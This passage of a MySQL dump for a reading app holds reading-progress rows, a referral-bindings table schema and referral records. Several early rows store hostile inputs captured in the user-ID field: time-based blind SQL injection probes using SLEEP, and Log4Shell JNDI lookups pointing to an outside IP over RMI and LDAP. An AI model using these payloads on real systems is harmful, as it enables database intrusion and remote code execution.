09:59:00'); -INSERT INTO `reading_progress` VALUES (393, '\")) OR (SELECT*FROM(SELECT(SLEEP(4)))adpq) limit 1', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:59:05', '2026-02-12 09:59:05', '2026-02-12 09:59:05', '2026-02-12 09:59:05'); -INSERT INTO `reading_progress` VALUES (397, '\" OR (SELECT*FROM(SELECT(SLEEP(3)))hwvm) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:59:08', '2026-02-12 09:59:08', '2026-02-12 09:59:08', '2026-02-12 09:59:08'); -INSERT INTO `reading_progress` VALUES (401, '\')) OR (SELECT*FROM(SELECT(SLEEP(2)))nsfl) limit 1', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:59:10', '2026-02-12 09:59:10', '2026-02-12 09:59:10', '2026-02-12 09:59:10'); -INSERT INTO `reading_progress` VALUES (405, '\' OR (SELECT*FROM(SELECT(SLEEP(2)))kioj) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:59:13', '2026-02-12 09:59:13', '2026-02-12 09:59:13', '2026-02-12 09:59:13'); -INSERT INTO `reading_progress` VALUES (409, '\') OR (SELECT*FROM(SELECT(SLEEP(3)))ptmv) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:59:15', '2026-02-12 09:59:15', '2026-02-12 09:59:15', '2026-02-12 09:59:15'); -INSERT INTO `reading_progress` VALUES (419, '\")) AND (SELECT*FROM(SELECT(SLEEP(4)))rlfe) limit ', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:59:22', '2026-02-12 09:59:22', '2026-02-12 09:59:22', '2026-02-12 09:59:22'); -INSERT INTO `reading_progress` VALUES (423, '\" AND (SELECT*FROM(SELECT(SLEEP(4)))qbif) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:59:25', '2026-02-12 09:59:25', '2026-02-12 09:59:25', '2026-02-12 09:59:25'); -INSERT INTO `reading_progress` VALUES (428, '\')) AND (SELECT*FROM(SELECT(SLEEP(4)))tfkk) limit ', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:59:28', '2026-02-12 09:59:28', '2026-02-12 09:59:28', '2026-02-12 09:59:28'); -INSERT INTO `reading_progress` VALUES (442, '\") AND (SELECT*FROM(SELECT(SLEEP(3)))kksi) limit 1', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:59:33', '2026-02-12 09:59:33', '2026-02-12 09:59:33', '2026-02-12 09:59:33'); -INSERT INTO `reading_progress` VALUES (447, '\' AND (SELECT*FROM(SELECT(SLEEP(2)))kmks) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:59:37', '2026-02-12 09:59:37', '2026-02-12 09:59:37', '2026-02-12 09:59:37'); -INSERT INTO `reading_progress` VALUES (451, '\') AND (SELECT*FROM(SELECT(SLEEP(3)))skfr) limit 1', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:59:39', '2026-02-12 09:59:39', '2026-02-12 09:59:39', '2026-02-12 09:59:39'); -INSERT INTO `reading_progress` VALUES (455, ' AND (SELECT*FROM(SELECT(SLEEP(3)))ilnv) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:59:42', '2026-02-12 09:59:42', '2026-02-12 09:59:42', '2026-02-12 09:59:42'); -INSERT INTO `reading_progress` VALUES (461, '${jndi:rmi://183.47.120.213:1099/bypass6aabccfb4ee', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:59:46', '2026-02-12 09:59:46', '2026-02-12 09:59:46', '2026-02-12 09:59:46'); -INSERT INTO `reading_progress` VALUES (463, '${jndi:ldap://183.47.120.213:1389/jdk1872f9cd58a0d', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:59:48', '2026-02-12 09:59:48', '2026-02-12 09:59:48', '2026-02-12 09:59:48'); -INSERT INTO `reading_progress` VALUES (480, 'ogpTW5ZtuvQ6ZHyCDvmZKSld8F7w', '1.2', 0, 4, 'reading', NULL, '2026-02-13 23:52:40', '2026-02-13 23:52:40', '2026-02-13 23:52:40', '2026-02-13 23:52:40'); -INSERT INTO `reading_progress` VALUES (481, 'ogpTW5eb1OnMqQ1n9013TgGOaLeM', '4.1', 0, 1068, 'reading', NULL, '2026-02-18 02:13:01', '2026-02-18 02:48:24', '2026-02-18 02:13:01', '2026-02-18 02:48:24'); -INSERT INTO `reading_progress` VALUES (482, 'ogpTW5eb1OnMqQ1n9013TgGOaLeM', '5.3', 0, 1059, 'reading', NULL, '2026-02-18 02:19:15', '2026-02-18 02:22:24', '2026-02-18 02:19:15', '2026-02-18 02:22:24'); -INSERT INTO `reading_progress` VALUES (483, 'ogpTW5eb1OnMqQ1n9013TgGOaLeM', '8.6', 0, 1335, 'reading', NULL, '2026-02-18 02:41:04', '2026-02-18 02:44:49', '2026-02-18 02:41:04', '2026-02-18 02:44:49'); -INSERT INTO `reading_progress` VALUES (484, 'ogpTW5eb1OnMqQ1n9013TgGOaLeM', 'epilogue', 0, 5, 'reading', NULL, '2026-02-18 02:52:20', '2026-02-18 02:52:20', '2026-02-18 02:52:20', '2026-02-18 02:52:20'); -INSERT INTO `reading_progress` VALUES (485, 'ogpTW5eb1OnMqQ1n9013TgGOaLeM', 'appendix-1', 0, 624, 'reading', NULL, '2026-02-18 02:54:29', '2026-02-18 02:56:53', '2026-02-18 02:54:29', '2026-02-18 02:56:53'); -INSERT INTO `reading_progress` VALUES (486, 'ogpTW5eb1OnMqQ1n9013TgGOaLeM', 'appendix-2', 0, 18, 'reading', NULL, '2026-02-18 02:57:16', '2026-02-18 02:57:16', '2026-02-18 02:57:16', '2026-02-18 02:57:16'); -INSERT INTO `reading_progress` VALUES (487, 'ogpTW5eb1OnMqQ1n9013TgGOaLeM', 'preface', 0, 6, 'reading', NULL, '2026-02-18 03:03:12', '2026-02-18 03:03:12', '2026-02-18 03:03:12', '2026-02-18 03:03:12'); -INSERT INTO `reading_progress` VALUES (488, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '9.15', 0, 60, 'reading', NULL, '2026-02-18 22:07:17', '2026-03-08 20:33:37', '2026-02-18 22:07:17', '2026-03-08 20:33:37'); -INSERT INTO `reading_progress` VALUES (489, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'epilogue', 0, 193, 'reading', NULL, '2026-02-21 13:02:23', '2026-03-07 15:07:43', '2026-02-21 13:02:23', '2026-03-07 15:07:43'); -INSERT INTO `reading_progress` VALUES (490, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'appendix-2', 0, 13, 'reading', NULL, '2026-02-21 21:54:58', '2026-02-21 21:54:59', '2026-02-21 21:54:58', '2026-02-21 21:54:59'); -INSERT INTO `reading_progress` VALUES (491, 'ogpTW5Q8Tc-k5mRaq4GLleBhUc5w', 'preface', 0, 274, 'reading', NULL, '2026-02-23 01:48:42', '2026-02-23 01:49:46', '2026-02-23 01:48:42', '2026-02-23 01:49:46'); -INSERT INTO `reading_progress` VALUES (492, 'ogpTW5Q8Tc-k5mRaq4GLleBhUc5w', 'epilogue', 0, 4, 'reading', NULL, '2026-02-23 01:53:48', '2026-02-23 01:53:48', '2026-02-23 01:53:48', '2026-02-23 01:53:48'); -INSERT INTO `reading_progress` VALUES (493, 'ogpTW5QAI7gFWP_A-XMArEP6JACo', 'preface', 0, 14, 'reading', NULL, '2026-02-27 06:39:54', '2026-02-27 06:39:54', '2026-02-27 06:39:54', '2026-02-27 06:39:54'); -INSERT INTO `reading_progress` VALUES (494, 'ogpTW5QAI7gFWP_A-XMArEP6JACo', 'epilogue', 0, 14, 'reading', NULL, '2026-02-27 06:40:09', '2026-02-27 06:40:09', '2026-02-27 06:40:09', '2026-02-27 06:40:09'); -INSERT INTO `reading_progress` VALUES (495, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '4.6', 0, 6922, 'reading', NULL, '2026-02-27 08:57:23', '2026-03-03 11:18:31', '2026-02-27 08:57:23', '2026-03-03 11:18:31'); -INSERT INTO `reading_progress` VALUES (496, 'ogpTW5dyhaEK1KPQY0MAuo9ejCxc', 'preface', 0, 13, 'reading', NULL, '2026-02-28 02:15:25', '2026-02-28 02:15:25', '2026-02-28 02:15:25', '2026-02-28 02:15:25'); -INSERT INTO `reading_progress` VALUES (497, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '11.5', 0, 12, 'reading', NULL, '2026-02-28 06:36:24', '2026-03-10 06:54:48', '2026-02-28 06:36:24', '2026-03-10 06:54:48'); -INSERT INTO `reading_progress` VALUES (498, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', '11.3', 0, 7, 'reading', NULL, '2026-02-28 08:10:52', '2026-02-28 08:10:52', '2026-02-28 08:10:52', '2026-02-28 08:10:52'); -INSERT INTO `reading_progress` VALUES (499, 'ogpTW5exPA4gpOu-jJyHRnG9qVD0', 'epilogue', 0, 605, 'reading', NULL, '2026-03-02 00:05:58', '2026-03-02 00:08:03', '2026-03-02 00:05:58', '2026-03-02 00:08:03'); -INSERT INTO `reading_progress` VALUES (500, 'ogpTW5exPA4gpOu-jJyHRnG9qVD0', 'appendix-3', 0, 274, 'reading', NULL, '2026-03-02 00:08:38', '2026-03-02 00:09:41', '2026-03-02 00:08:38', '2026-03-02 00:09:41'); -INSERT INTO `reading_progress` VALUES (501, 'ogpTW5V92gmbuNnr4dTXkOdbvQT0', '1.1', 0, 309, 'reading', NULL, '2026-03-02 01:14:42', '2026-03-02 01:19:35', '2026-03-02 01:14:42', '2026-03-02 01:19:35'); -INSERT INTO `reading_progress` VALUES (502, 'user_1769380781794', '1.1', 0, 1851, 'reading', NULL, '2026-03-02 02:46:55', '2026-03-02 03:10:50', '2026-03-02 02:46:55', '2026-03-02 03:10:50'); -INSERT INTO `reading_progress` VALUES (503, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '9.24', 0, 5117, 'reading', NULL, '2026-03-02 03:43:30', '2026-03-07 16:35:55', '2026-03-02 03:43:30', '2026-03-07 16:35:55'); -INSERT INTO `reading_progress` VALUES (504, 'ogpTW5Y47x3Mr1_Y99XrBHw97zrk', '1.1', 0, 12, 'reading', NULL, '2026-03-02 06:34:25', '2026-03-02 06:34:25', '2026-03-02 06:34:25', '2026-03-02 06:34:25'); -INSERT INTO `reading_progress` VALUES (505, 'ogpTW5Qm4kjuZ289cv-QaDKHVAZ8', 'preface', 0, 2, 'reading', NULL, '2026-03-03 03:04:19', '2026-03-03 03:04:19', '2026-03-03 03:04:19', '2026-03-03 03:04:19'); -INSERT INTO `reading_progress` VALUES (506, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'appendix-3', 0, 4, 'reading', NULL, '2026-03-03 03:08:29', '2026-03-03 03:08:29', '2026-03-03 03:08:29', '2026-03-03 03:08:29'); -INSERT INTO `reading_progress` VALUES (507, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '4.5', 0, 4, 'reading', NULL, '2026-03-03 03:08:46', '2026-03-03 03:08:46', '2026-03-03 03:08:46', '2026-03-03 03:08:46'); -INSERT INTO `reading_progress` VALUES (508, 'user_1768863702720', '1.1', 0, 2, 'reading', NULL, '2026-03-03 13:26:35', '2026-03-03 13:26:35', '2026-03-03 13:26:36', '2026-03-03 13:26:36'); -INSERT INTO `reading_progress` VALUES (509, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'appendix-1', 0, 8088, 'reading', NULL, '2026-03-04 06:25:07', '2026-03-07 16:12:26', '2026-03-04 06:25:07', '2026-03-07 16:12:26'); -INSERT INTO `reading_progress` VALUES (510, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'preface', 0, 3, 'reading', NULL, '2026-03-04 09:25:21', '2026-03-05 06:21:29', '2026-03-04 09:25:22', '2026-03-05 06:21:29'); -INSERT INTO `reading_progress` VALUES (511, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'epilogue', 0, 2, 'reading', NULL, '2026-03-04 11:05:47', '2026-03-05 09:55:55', '2026-03-04 11:05:47', '2026-03-05 09:55:55'); -INSERT INTO `reading_progress` VALUES (512, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '1.4', 0, 8985, 'reading', NULL, '2026-03-05 06:39:26', '2026-03-10 10:30:03', '2026-03-05 06:39:26', '2026-03-10 10:30:03'); -INSERT INTO `reading_progress` VALUES (513, 'ogpTW5dW9Fd_igNkpN0-2-JQ_fYw', '1.2', 0, 61, 'reading', NULL, '2026-03-05 06:44:56', '2026-03-05 06:44:57', '2026-03-05 06:44:56', '2026-03-05 06:44:57'); -INSERT INTO `reading_progress` VALUES (514, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '1.3', 0, 7, 'reading', NULL, '2026-03-05 09:39:08', '2026-03-05 09:39:11', '2026-03-05 09:39:08', '2026-03-05 09:39:11'); -INSERT INTO `reading_progress` VALUES (515, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'epilogue', 0, 1, 'reading', NULL, '2026-03-06 09:22:43', '2026-03-06 09:22:43', '2026-03-06 09:22:43', '2026-03-06 09:22:43'); -INSERT INTO `reading_progress` VALUES (516, 'ogpTW5cBt44nWhhdjdYvdtIG5a4E', 'epilogue', 0, 9, 'reading', NULL, '2026-03-06 23:22:14', '2026-03-06 23:22:14', '2026-03-06 23:22:14', '2026-03-06 23:22:14'); -INSERT INTO `reading_progress` VALUES (517, 'ogpTW5cRhoPR9kuKcIcp3sOcJHqI', 'epilogue', 0, 2, 'reading', NULL, '2026-03-07 01:11:18', '2026-03-07 01:11:18', '2026-03-07 01:11:18', '2026-03-07 01:11:18'); -INSERT INTO `reading_progress` VALUES (518, 'ogpTW5cRhoPR9kuKcIcp3sOcJHqI', 'preface', 0, 1, 'reading', NULL, '2026-03-07 01:11:48', '2026-03-07 01:11:48', '2026-03-07 01:11:48', '2026-03-07 01:11:48'); -INSERT INTO `reading_progress` VALUES (519, 'ogpTW5cRhoPR9kuKcIcp3sOcJHqI', '9.14', 0, 12, 'reading', NULL, '2026-03-07 01:12:36', '2026-03-07 01:12:36', '2026-03-07 01:12:36', '2026-03-07 01:12:36'); -INSERT INTO `reading_progress` VALUES (520, 'ogpTW5bJ-5SHYxtl3p0KiiZvaids', 'preface', 0, 63, 'reading', NULL, '2026-03-07 01:27:46', '2026-03-07 01:27:49', '2026-03-07 01:27:46', '2026-03-07 01:27:49'); -INSERT INTO `reading_progress` VALUES (521, 'ogpTW5Z_SdI82eULXgFNJl4sT1fk', '9.26', 0, 2, 'reading', NULL, '2026-03-07 01:56:27', '2026-03-07 01:56:27', '2026-03-07 01:56:27', '2026-03-07 01:56:27'); -INSERT INTO `reading_progress` VALUES (522, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '9.15', 0, 3, 'reading', NULL, '2026-03-07 11:01:45', '2026-03-07 11:01:45', '2026-03-07 11:01:45', '2026-03-07 11:01:45'); -INSERT INTO `reading_progress` VALUES (523, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '9.3', 0, 4, 'reading', NULL, '2026-03-07 11:01:49', '2026-03-07 11:01:49', '2026-03-07 11:01:49', '2026-03-07 11:01:49'); -INSERT INTO `reading_progress` VALUES (524, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', '9.25', 0, 4, 'reading', NULL, '2026-03-07 11:04:47', '2026-03-07 11:04:47', '2026-03-07 11:04:47', '2026-03-07 11:04:47'); -INSERT INTO `reading_progress` VALUES (525, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', '7.5', 0, 2, 'reading', NULL, '2026-03-07 11:04:57', '2026-03-07 11:04:57', '2026-03-07 11:04:57', '2026-03-07 11:04:57'); -INSERT INTO `reading_progress` VALUES (526, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '6.2', 0, 5, 'reading', NULL, '2026-03-07 13:20:52', '2026-03-07 13:20:52', '2026-03-07 13:20:52', '2026-03-07 13:20:52'); -INSERT INTO `reading_progress` VALUES (527, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '9.28', 0, 9527, 'reading', NULL, '2026-03-07 13:44:25', '2026-03-08 05:29:24', '2026-03-07 13:44:25', '2026-03-08 05:29:24'); -INSERT INTO `reading_progress` VALUES (528, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '9.26', 0, 7100, 'reading', NULL, '2026-03-07 15:07:52', '2026-03-07 15:39:21', '2026-03-07 15:07:52', '2026-03-07 15:39:21'); -INSERT INTO `reading_progress` VALUES (529, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '9.21', 0, 1652, 'reading', NULL, '2026-03-07 15:28:05', '2026-03-07 15:33:05', '2026-03-07 15:28:05', '2026-03-07 15:33:05'); -INSERT INTO `reading_progress` VALUES (530, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '9.25', 0, 28369, 'reading', NULL, '2026-03-07 15:42:11', '2026-03-07 16:03:23', '2026-03-07 15:42:11', '2026-03-07 16:03:23'); -INSERT INTO `reading_progress` VALUES (531, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '9.16', 0, 6, 'reading', NULL, '2026-03-07 16:08:51', '2026-03-08 05:28:42', '2026-03-07 16:08:51', '2026-03-08 05:28:42'); -INSERT INTO `reading_progress` VALUES (532, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '9.27', 0, 111, 'reading', NULL, '2026-03-07 16:11:17', '2026-03-07 16:12:12', '2026-03-07 16:11:17', '2026-03-07 16:12:12'); -INSERT INTO `reading_progress` VALUES (533, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '2.1', 0, 24, 'reading', NULL, '2026-03-07 16:25:46', '2026-03-10 10:27:06', '2026-03-07 16:25:46', '2026-03-10 10:27:06'); -INSERT INTO `reading_progress` VALUES (534, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '9.25', 0, 2, 'reading', NULL, '2026-03-07 16:25:52', '2026-03-07 16:25:52', '2026-03-07 16:25:52', '2026-03-07 16:25:52'); -INSERT INTO `reading_progress` VALUES (535, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '9.16', 0, 141606420, 'reading', NULL, '2026-03-08 03:52:44', '2026-03-09 05:28:44', '2026-03-08 03:52:44', '2026-03-09 05:28:44'); -INSERT INTO `reading_progress` VALUES (536, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '9.27', 0, 2, 'reading', NULL, '2026-03-08 03:55:10', '2026-03-08 03:55:10', '2026-03-08 03:55:10', '2026-03-08 03:55:10'); -INSERT INTO `reading_progress` VALUES (537, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '9.18', 0, 2, 'reading', NULL, '2026-03-08 03:55:15', '2026-03-08 03:55:15', '2026-03-08 03:55:15', '2026-03-08 03:55:15'); -INSERT INTO `reading_progress` VALUES (538, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '9.18', 0, 2, 'reading', NULL, '2026-03-08 05:28:43', '2026-03-08 05:28:45', '2026-03-08 05:28:43', '2026-03-08 05:28:45'); -INSERT INTO `reading_progress` VALUES (539, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '9.17', 0, 2, 'reading', NULL, '2026-03-08 05:28:46', '2026-03-08 05:28:48', '2026-03-08 05:28:46', '2026-03-08 05:28:48'); -INSERT INTO `reading_progress` VALUES (540, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '9.20', 0, 15, 'reading', NULL, '2026-03-08 05:28:48', '2026-03-08 05:29:03', '2026-03-08 05:28:48', '2026-03-08 05:29:03'); -INSERT INTO `reading_progress` VALUES (541, 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'preface', 0, 1954, 'reading', NULL, '2026-03-08 23:55:05', '2026-03-09 00:00:08', '2026-03-08 23:55:05', '2026-03-09 00:00:08'); -INSERT INTO `reading_progress` VALUES (542, 'ogpTW5RIG4xk1naqzBqpiFtgPwaw', '10.01', 0, 601, 'reading', NULL, '2026-03-09 08:08:06', '2026-03-09 08:10:37', '2026-03-09 08:08:06', '2026-03-09 08:10:37'); -INSERT INTO `reading_progress` VALUES (543, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '10.11', 0, 5096, 'reading', NULL, '2026-03-10 06:23:56', '2026-03-11 03:01:35', '2026-03-10 06:23:56', '2026-03-11 03:01:35'); -INSERT INTO `reading_progress` VALUES (544, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '10.11', 0, 306, 'reading', NULL, '2026-03-10 07:02:20', '2026-03-10 11:14:48', '2026-03-10 07:02:20', '2026-03-10 11:14:48'); -INSERT INTO `reading_progress` VALUES (545, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', '1.4', 0, 12, 'reading', NULL, '2026-03-10 07:02:51', '2026-03-10 07:03:04', '2026-03-10 07:02:51', '2026-03-10 07:03:04'); -INSERT INTO `reading_progress` VALUES (546, 'ogpTW5cVMxd5afBBtXdvmeMO8aho', '10.11', 0, 4, 'reading', NULL, '2026-03-10 08:40:54', '2026-03-10 08:40:58', '2026-03-10 08:40:54', '2026-03-10 08:40:58'); -INSERT INTO `reading_progress` VALUES (547, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '3.1', 0, 16681, 'reading', NULL, '2026-03-10 10:27:46', '2026-03-10 10:49:52', '2026-03-10 10:27:46', '2026-03-10 10:49:52'); -INSERT INTO `reading_progress` VALUES (548, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', '10.11', 0, 1068, 'reading', NULL, '2026-03-10 10:52:33', '2026-03-11 02:34:40', '2026-03-10 10:52:33', '2026-03-11 02:34:40'); -INSERT INTO `reading_progress` VALUES (549, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '10.16', 0, 1451, 'reading', NULL, '2026-03-10 10:55:35', '2026-03-10 11:01:42', '2026-03-10 10:55:35', '2026-03-10 11:01:42'); -INSERT INTO `reading_progress` VALUES (550, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '10.13', 0, 6, 'reading', NULL, '2026-03-10 11:14:43', '2026-03-10 11:14:43', '2026-03-10 11:14:43', '2026-03-10 11:14:43'); -INSERT INTO `reading_progress` VALUES (551, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '10.07', 0, 3, 'reading', NULL, '2026-03-10 11:14:53', '2026-03-10 11:14:53', '2026-03-10 11:14:53', '2026-03-10 11:14:53'); -INSERT INTO `reading_progress` VALUES (552, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '10.15', 0, 457, 'reading', NULL, '2026-03-10 22:17:39', '2026-03-10 22:19:13', '2026-03-10 22:17:39', '2026-03-10 22:19:13'); -INSERT INTO `reading_progress` VALUES (553, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', '10.16', 0, 6, 'reading', NULL, '2026-03-11 02:47:44', '2026-03-11 02:47:44', '2026-03-11 02:47:44', '2026-03-11 02:47:44'); -INSERT INTO `reading_progress` VALUES (554, 'ogpTW5brJSEI2A3f-OIEoX59l_dM', 'preface', 0, 3, 'reading', NULL, '2026-03-11 02:52:33', '2026-03-11 02:52:33', '2026-03-11 02:52:33', '2026-03-11 02:52:33'); - --- ---------------------------- --- Table structure for referral_bindings --- ---------------------------- -DROP TABLE IF EXISTS `referral_bindings`; -CREATE TABLE `referral_bindings` ( - `id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `referrer_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `referee_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `referral_code` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `status` enum('active','converted','expired','cancelled') CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'active' COMMENT 'Binding status', - `binding_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP, - `expiry_date` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00', - `conversion_date` timestamp NULL DEFAULT NULL, - `commission_amount` decimal(10, 2) NULL DEFAULT 0.00, - `order_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP, - `updated_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, - `last_purchase_date` datetime NULL DEFAULT NULL COMMENT '最后一次购买时间', - `purchase_count` int(11) NULL DEFAULT 0 COMMENT '购买次数', - `total_commission` decimal(10, 2) NULL DEFAULT 0.00 COMMENT '累计佣金', - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `unique_referrer_referee`(`referrer_id`, `referee_id`) USING BTREE, - INDEX `order_id`(`order_id`) USING BTREE, - INDEX `idx_referrer_id`(`referrer_id`) USING BTREE, - INDEX `idx_referee_id`(`referee_id`) USING BTREE, - INDEX `idx_status`(`status`) USING BTREE, - INDEX `idx_expiry_date`(`expiry_date`) USING BTREE, - INDEX `idx_referee_status`(`referee_id`, `status`) USING BTREE, - INDEX `idx_expiry_purchase`(`expiry_date`, `purchase_count`, `status`) USING BTREE, - CONSTRAINT `referral_bindings_ibfk_1` FOREIGN KEY (`referrer_id`) REFERENCES `users` (`id`) ON DELETE RESTRICT ON UPDATE RESTRICT, - CONSTRAINT `referral_bindings_ibfk_2` FOREIGN KEY (`referee_id`) REFERENCES `users` (`id`) ON DELETE RESTRICT ON UPDATE RESTRICT, - CONSTRAINT `referral_bindings_ibfk_3` FOREIGN KEY (`order_id`) REFERENCES `orders` (`id`) ON DELETE RESTRICT ON UPDATE RESTRICT -) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of referral_bindings --- ---------------------------- -INSERT INTO `referral_bindings` VALUES ('bind_1770801252001948674_xqfc1e', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'SOULCSFQP0', 'cancelled', '2026-02-11 09:14:12', '2026-03-13 09:14:12', NULL, NULL, NULL, '2026-02-11 09:14:12', '2026-02-11 10:08:50', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1770804529830264279_zthvix', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'SOULGSPSQG', 'active', '2026-03-10 11:38:41', '2026-04-09 11:38:41', NULL, NULL, NULL, '2026-02-11 10:08:50', '2026-03-10 11:38:41', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1770804607965826407_xxbp3h', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'SOULNVE5TG', 'cancelled', '2026-03-03 09:40:49', '2026-04-02 09:40:49', NULL, NULL, NULL, '2026-02-11 10:10:08', '2026-03-10 07:02:20', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1770867389651395890_mcq4iw', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5V4aCbAXePOZuYOEs4L2TOU', 'SOUL2XYSRI', 'active', '2026-02-16 10:20:43', '2026-03-18 10:20:43', NULL, NULL, NULL, '2026-02-12 03:36:30', '2026-02-16 10:20:43', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1771026755796515344_m6lzdq', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5ZtuvQ6ZHyCDvmZKSld8F7w', 'SOUL2XYSRI', 'active', '2026-02-13 23:52:36', '2026-03-15 23:52:36', NULL, NULL, NULL, '2026-02-13 23:52:36', '2026-02-13 23:52:36', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1771135371999170056_ge2gu8', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5TNfJ_xV2yqvTDGGV8av1tg', 'SOUL2XYSRI', 'active', '2026-02-15 06:06:16', '2026-03-17 06:06:16', NULL, NULL, NULL, '2026-02-15 06:02:52', '2026-02-15 06:06:16', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1771201908936425348_mm1es6', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'SOUL2XYSRI', 'active', '2026-03-10 22:18:43', '2026-04-09 22:18:43', NULL, NULL, NULL, '2026-02-16 00:31:49', '2026-03-10 22:18:43', '2026-02-27 10:09:15', NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1771630947929778915_7xlznb', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'SOUL2XYSRI', 'active', '2026-02-27 23:53:29', '2026-03-29 23:53:29', NULL, NULL, NULL, '2026-02-20 23:42:28', '2026-02-27 23:53:29', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1771816859263791812_92q5s6', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'SOUL6EGC-G', 'cancelled', '2026-02-23 03:24:10', '2026-03-25 03:24:10', NULL, NULL, NULL, '2026-02-23 03:20:59', '2026-02-27 09:01:09', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1771826835548326070_kv8m0f', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5fn15jtYjuoxYNB_jGSVV4g', 'SOUL2XYSRI', 'active', '2026-02-23 06:07:30', '2026-03-25 06:07:30', NULL, NULL, NULL, 